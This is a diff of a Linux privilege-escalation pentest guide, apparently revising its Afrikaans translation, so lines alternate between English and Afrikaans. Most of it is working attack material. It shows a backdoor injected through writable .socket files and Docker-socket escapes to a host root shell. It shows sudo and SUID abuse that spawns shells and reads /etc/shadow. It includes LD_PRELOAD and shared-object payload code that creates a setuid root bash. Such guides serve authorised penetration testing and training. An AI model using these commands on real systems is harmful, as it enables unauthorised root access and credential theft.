volgende uitvoer: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Neem kennis dat die **timer** geaktiveer word deur 'n symlink daarna te skep op `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle gebruik standaard Unix-deskriptorlêers vir inter-rekenaar kommunikasie en word opgestel deur `.socket` lêers. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets kan geconfigureer word met behulp van `.socket` lêers. +Sockets can be configured using `.socket` files. -**Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameter gekonfigureer word: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om te **aandui waar dit na die socket gaan luister** (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) -- `Accept`: Neem 'n boolean-argument. As **true**, word 'n **service instance vir elke inkomende verbinding geskep** en slegs die verbindings-socket aan dit deurgegee. As **false**, word al die luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word geskep vir alle verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard: false**. Vir prestasie-redes word dit aanbeveel om nuwe daemons slegs te skryf op 'n wyse wat geskik is vir `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls, wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs **geskep** en gebind word. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. -- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs **gesluit** en verwyder word. -- `Service`: Spesifiseer die **service** unit-naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met `Accept=no`. Dit is standaard die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files -As jy 'n **skryfbare** `.socket` lêer vind, kan jy aan die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` byvoeg en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag tot die masjien herbegin is.**\ -_Neem kennis dat die stelsel daardie socket-lêer konfigurasie moet gebruik, anders sal die backdoor nie uitgevoer word nie_ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -As jy 'n **skryfbare socket** identifiseer (_nou praat ons van Unix Sockets en nie van die konfigurasie `.socket` lêers nie_), dan **kan jy met daardie socket kommunikeer** en dalk 'n kwesbaarheid uitbuit. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Enumerate Unix Sockets +### Enumereer Unix Sockets ```bash netstat -a -p --unix ``` -### Rou verbinding +### Ruwe konneksie ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -530,7 +528,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Eksploitasievoorbeeld:** +**Exploitation example:** {{#ref}} @@ -539,28 +537,28 @@ socket-command-injection.md ### HTTP sockets -Let daarop dat daar dalk 'n paar **sockets listening for HTTP** requests (_Ek praat nie van .socket files nie maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met: +Let daarop dat daar dalk sekere **sockets wat na HTTP requests luister** (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -As die soket **op 'n HTTP-versoek reageer**, kan jy **met dit kommunikeer** en dalk **exploit some vulnerability**. +As die socket **reageer met 'n HTTP versoek**, kan jy daarmee **kommunikeer** en moontlik **exploit some vulnerability**. -### Skryfbare Docker-soket +### Skryfbare Docker Socket -Die Docker-soket, dikwels te vinde by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Per verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie soket te hê, kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. +Die Docker socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritiese lêer wat beveilig moet word. By verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie socket te hê kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. #### **Privilege Escalation with Docker CLI** -As jy skryftoegang tot die Docker-soket het, kan jy escalate privileges deur die volgende opdragte te gebruik: +As jy skryftoegang tot die Docker socket het, kan jy escalate privileges gebruik met die volgende opdragte: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Hierdie opdragte stel jou in staat om 'n container te laat loop met root-vlak toegang tot die gasheer se lêerstelsel. +Hierdie opdragte laat jou 'n container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. -#### **Gebruik Docker API direk** +#### **Gebruik van Docker API Direk** -In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-sok nog steeds gemanipuleer word met die Docker API en `curl` opdragte. +In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-sok steeds gemanipuleer word met die Docker API en `curl`-opdragte. 1. **List Docker Images:** Haal die lys van beskikbare images op. @@ -568,13 +566,13 @@ In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-sok nog ste curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheer se root-directory mount. +2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root-gids mount. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Begin die nuut geskepte container: +Begin die pas geskepte container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start @@ -590,13 +588,13 @@ Connection: Upgrade Upgrade: tcp ``` -Nadat die `socat`-verbinding ingestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. +Nadat die `socat`-verbinding opgestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. ### Ander -Let wel dat as jy skryfbevoegdhede oor die docker-sok het omdat jy **in die groep `docker` is** jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Let wel dat as jy skryftoestemmings oor die docker socket het omdat jy **binne die groep `docker`** is, het jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Kyk vir **meer maniere om uit docker te breek of dit te misbruik om voorregte te eskaleer** in: +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -605,7 +603,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -As jy uitvind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -614,7 +612,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -623,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) system** wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. +D-Bus is 'n gesofistikeerde inter-proses kommunikasie (IPC) stelsel wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met moderne Linux-stelsels in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie. -Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruil tussen prosesse verbeter, soortgelyk aan **enhanced UNIX domain sockets**. Verder help dit met die uitsending van gebeure of seine, en bevorder naatlose integrasie tussen stelselkomponente. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat stilmaak, wat die gebruikerservaring verbeter. Boonop ondersteun D-Bus 'n remote object system, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn. +Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit met die uitsending van gebeure of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n remote object system, wat diensteversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn. -D-Bus werk op 'n **allow/deny model**, en bestuur boodskaptoestemmings (metode-oproepe, sein-uitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide bepaal interaksies met die bus en kan moontlik voorsiening maak vir voorregte-eskalasie deur die uitbuiting van hierdie toestemmings. +D-Bus werk volgens 'n allow/deny-model en bestuur boodskaptoestemmings (method calls, signal emissions, ens.) op grond van die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik privilege escalation toelaat deur die uitbuiting van hierdie toestemmings. -'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat die toestemmings vir die root-gebruiker uiteensit om `fi.w1.wpa_supplicant1` te besit, boodskappe daarheen te stuur en boodskappe daarvan te ontvang. +'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word gegee, wat toestemmings vir die root-gebruiker beskryf om `fi.w1.wpa_supplicant1` te besit, daarheen te stuur en boodskappe daarvan te ontvang. -Beleide sonder 'n gespesifiseerde gebruiker of groep is universieel van toepassing, terwyl "default" konteksbeleide van toepassing is op allegene wat nie deur ander spesifieke beleide gedek word nie. +Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. ```xml @@ -640,7 +638,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep is universieel van toepassi ``` -**Leer hier hoe om 'n D-Bus kommunikasie te enumerate en te exploit:** +**Leer hoe om 'n D-Bus-communikasie hier te enumerate en te exploit:** {{#ref}} @@ -651,7 +649,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind. -### Generiese enumeration +### Algemene enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -683,15 +681,15 @@ Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voor toega ``` ### Sniffing -Kontroleer of jy verkeer kan sniff. As jy dit kan doen, kan jy dalk sommige credentials afvang. +Kontroleer of jy kan sniff traffic. As jy dit kan doen, kan jy moontlik sommige credentials kry. ``` timeout 1 tcpdump ``` ## Gebruikers -### Generiese Enumerasie +### Generic Enumeration -Kontroleer wie jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter daarvan kan **login** en watter het **root privileges**: +Kontroleer **wie** jy is, watter **privileges** jy het, watter **gebruikers** in die stelsels is, watter kan **login** en watter het **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -715,12 +713,12 @@ gpg --list-keys 2>/dev/null ``` ### Groot UID -Sommige Linux-weergawes is deur 'n fout geraak wat gebruikers met **UID > INT_MAX** toelaat om privileges te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) en [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** in staat stel om voorregte te eskaleer. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Eksploiteer dit** using: **`systemd-run -t /bin/bash`** ### Groepe -Kyk of jy 'n **lid van 'n groep** is wat jou root privileges kan gee: +Kyk of jy 'n **lid van 'n groep** is wat jou root-voorregte kan gee: {{#ref}} @@ -729,7 +727,7 @@ interesting-groups-linux-pe/ ### Klembord -Kyk of daar iets interessant in die klembord is (indien moontlik) +Kyk of daar iets interessant in die klembord geleë is (indien moontlik) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -746,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekende wagwoorde -As jy **'n wagwoord van die omgewing ken**, probeer **aanmeld as elke gebruiker** met daardie wagwoord. +As jy enige wagwoord van die omgewing ken, probeer om met daardie wagwoord as elke gebruiker aan te meld. ### Su Brute -As jy nie omgee om baie geraas te maak nie en die binaries `su` en `timeout` op die rekenaar beskikbaar is, kan jy probeer om 'n gebruiker te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +As jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force. -## Skryfbare $PATH misbruik +## Skryfbare $PATH-misbruik ### $PATH -As jy vind dat jy kan **skryf in 'n gids van die $PATH** mag dit moontlik wees om bevoegdhede te verhoog deur **'n backdoor in die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (idealiter root) uitgevoer gaan word en wat **nie van 'n gids gelees word wat voor jou skryfbare gids in die $PATH geleë is** nie. +As jy ontdek dat jy in 'n gids van die $PATH kan skryf, kan jy moontlik voorregte verhoog deur 'n backdoor in die skryfbare gids te skep met die naam van 'n command wat deur 'n ander gebruiker (idealiter root) uitgevoer sal word en wat nie vanaf 'n gids gelaai word wat vóór jou skryfbare gids in $PATH geleë is nie. ### SUDO and SUID -Jy mag toegelaat wees om sekere opdragte met sudo uit te voer of hulle kan die suid-bit hê. Kontroleer dit met: +Jy mag toegelaat wees om 'n command met sudo uit te voer, of dit kan die suid-bit hê. Kontroleer dit met: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Sommige **onverwagte opdragte laat jou toe om lêers te lees en/of te skryf of selfs 'n opdrag uit te voer.** Byvoorbeeld: +**Sommige onverwagte commands laat jou toe om lêers te lees en/of te skryf of selfs 'n command uit te voer.** Byvoorbeeld: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -777,36 +775,36 @@ less>! ``` ### NOPASSWD -Sudo configuration mag 'n gebruiker toelaat om 'n opdrag met die bevoegdhede van 'n ander gebruiker uit te voer sonder om die wagwoord te ken. +Sudo-konfigurasie kan 'n gebruiker toelaat om 'n kommando met 'n ander gebruiker se bevoegdhede uit te voer sonder om die wagwoord te ken. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer, dit is nou eenvoudig om 'n shell te kry deur 'n ssh key in die root directory by te voeg of deur `sh` aan te roep. +In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou eenvoudig om 'n shell te kry deur 'n ssh-sleutel in die root-gids by te voeg of deur `sh` aan te roep. ``` sudo vim -c '!sh' ``` ### SETENV -Hierdie direktief laat die gebruiker toe om **'n omgewingsveranderlike in te stel** terwyl iets uitgevoer word: +Hierdie direktef laat die gebruiker toe om **set an environment variable** terwyl iets uitgevoer word: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwesbaar** vir **PYTHONPATH hijacking** om enige python-biblioteek te laai terwyl die skrip as root uitgevoer word: +Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwesbaar** vir **PYTHONPATH hijacking** om 'n ewekansige python biblioteek te laai terwyl die skrip as root uitgevoer word: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV behou deur sudo env_keep → root shell -As sudoers `BASH_ENV` bewaar (bv., `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag misbruik om ewekansige kode as root uit te voer wanneer jy 'n toegelate opdrag aanroep. +As sudoers `BASH_ENV` bewaar (bv., `Defaults env_keep+="ENV BASH_ENV"`), kan jy gebruik maak van Bash se nie-interaktiewe opstartgedrag om willekeurige kode as root uit te voer wanneer 'n toegelate opdrag aangeroep word. -- Why it works: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en voer daardie lêer in die huidige omgewing uit voordat die teiken-skrip geloop word. Baie sudo-reëls laat toe om 'n skrip of 'n shell-wrapper te hardloop. As `BASH_ENV` deur sudo behou word, word jou lêer met root-bevoegdhede ingelaai. +- Hoekom dit werk: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en laai daardie lêer in voordat die teiken-script uitgevoer word. Baie sudo-reëls laat toe om 'n script of 'n shell wrapper uit te voer. As `BASH_ENV` deur sudo bewaar word, word jou lêer met root-regte ingelaai. -- Requirements: -- 'n sudo-reël wat jy kan loop (enige teiken wat `/bin/bash` nie-interaktief oproep, of enige bash-skrip). +- Vereistes: +- 'n sudo-reël wat jy kan uitvoer (enige teiken wat `/bin/bash` nie-interaktief aanroep, of enige bash-script). - `BASH_ENV` teenwoordig in `env_keep` (kontroleer met `sudo -l`). - PoC: @@ -821,12 +819,12 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ ``` - Verharding: - Verwyder `BASH_ENV` (en `ENV`) uit `env_keep`, verkies `env_reset`. -- Vermy shell wrappers vir sudo-toegelate commands; gebruik minimale binaries. -- Oorweeg sudo I/O-logging en waarskuwings wanneer bewaarde env vars gebruik word. +- Vermy shell wrappers vir sudo-allowed commands; gebruik minimale binaries. +- Oorweeg sudo I/O logging en waarskuwings wanneer bewaarde env vars gebruik word. -### Sudo-uitvoering: omseilingspaaie +### Sudo uitvoering-omseilingspade -**Jump** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers-lêer: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Spring** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers-lêer: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -836,46 +834,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -As 'n **wildcard** gebruik word (\*), is dit nog makliker: +As **wildcard** gebruik word (\*), is dit nog makliker: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Teenmaatreëls**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo-opdrag/SUID-binary sonder die opdragpad +### Sudo command/SUID binary sonder die opdragpad -As die **sudo toestemming** gegee word vir ’n enkele opdrag **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-variabele te verander. +As die **sudo permission** aan 'n enkele opdrag gegee word **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH variabele te verander ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander command uitvoer sonder om die pad daartoe te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**). +Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander command uitvoer sonder om die pad daarvan te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary met command path -Indien die **suid** binary **'n ander command uitvoer en die pad spesifiseer**, kan jy probeer om 'n **export a function** te skep wat dieselfde naam het as die command wat die suid-lêer aanroep. +As die **suid** binary **'n ander command uitvoer en die pad daarvoor spesifiseer**, dan kan jy probeer om 'n funksie met dieselfde naam as die command wat die suid-lêer oproep te skep en te export. -Byvoorbeeld, as 'n suid binary _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die function te skep en te export: +Byvoorbeeld, as 'n suid binary _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit te export: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Dan, wanneer jy die suid binary aanroep, sal hierdie funksie uitgevoer word +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer shared libraries (.so files) te spesifiseer wat deur die laaier voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek. +Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer shared libraries (.so files) te spesifiseer wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflading van 'n biblioteek. Om stelselveiligheid te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, dwing die stelsel sekere voorwaardes af: -- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie. -- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is, voorafgelaai. +- Die loader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruiker-ID (_ruid_) nie ooreenstem met die effektiewe gebruiker-ID (_euid_) nie. +- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpade wat ook suid/sgid is, voorafgelaai. -Privilegiestyging kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** bevat. Hierdie konfigurasie laat toe dat die omgewingsveranderlike **LD_PRELOAD** behoue bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik lei tot die uitvoering van arbitrêre kode met verhoogde voorregte. +Privilege escalation kan gebeur as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behou bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde voorregte. ``` Defaults env_keep += LD_PRELOAD ``` @@ -892,17 +890,17 @@ setuid(0); system("/bin/bash"); } ``` -Dan **kompileer dit** met: +Dan **compile it** met behulp van: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Uiteindelik, **escalate privileges** wat uitgevoer word +Laastens, **escalate privileges** uit te voer. ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 'n soortgelyke privesc kan uitgebuit word as die attacker die **LD_LIBRARY_PATH** env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. +> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. ```c #include #include @@ -924,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wanneer jy 'n binary met **SUID** permissies teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: +Wanneer jy op 'n binary met **SUID** permissies stuit wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** files behoorlik laai. Dit kan nagegaan word deur die volgende command uit te voer: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Byvoorbeeld, die voorkoms van ’n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op ’n potensiaal vir exploitation. +Byvoorbeeld, as jy 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ teëkom, dui dit op 'n potensiële eksploitasie. -Om dit te exploit, sal ’n mens voortgaan deur ’n C-lêer te skep, sê _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: +Om dit te eksploiteer, sal jy voortgaan deur 'n C-lêer te skep, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: ```c #include #include @@ -941,13 +939,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om privileges te verhoog deur file permissions te manipuleer en 'n shell met verhoogde privileges uit te voer. +Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer. -Kompileer die bogenoemde C-lêer in 'n shared object (.so) lêer met: +Kompileer die bogenoemde C-lêer na 'n shared object (.so)-lêer met: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Uiteindelik behoort die uitvoering van die aangetaste SUID binary die exploit te aktiveer, wat 'n moontlike stelselkompromittering toelaat. +Uiteindelik behoort die uitvoering van die geaffekteerde SUID binary die exploit te aktiveer en moontlike stelselkompromittering toe te laat. ## Shared Object Hijacking ```bash @@ -959,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Nou dat ons 'n SUID binary gevind het wat 'n library uit 'n folder laai waar ons kan skryf, kom ons skep die library in daardie folder met die nodige naam: +Aangesien ons 'n SUID binary gevind het wat 'n library uit 'n folder laai waarin ons 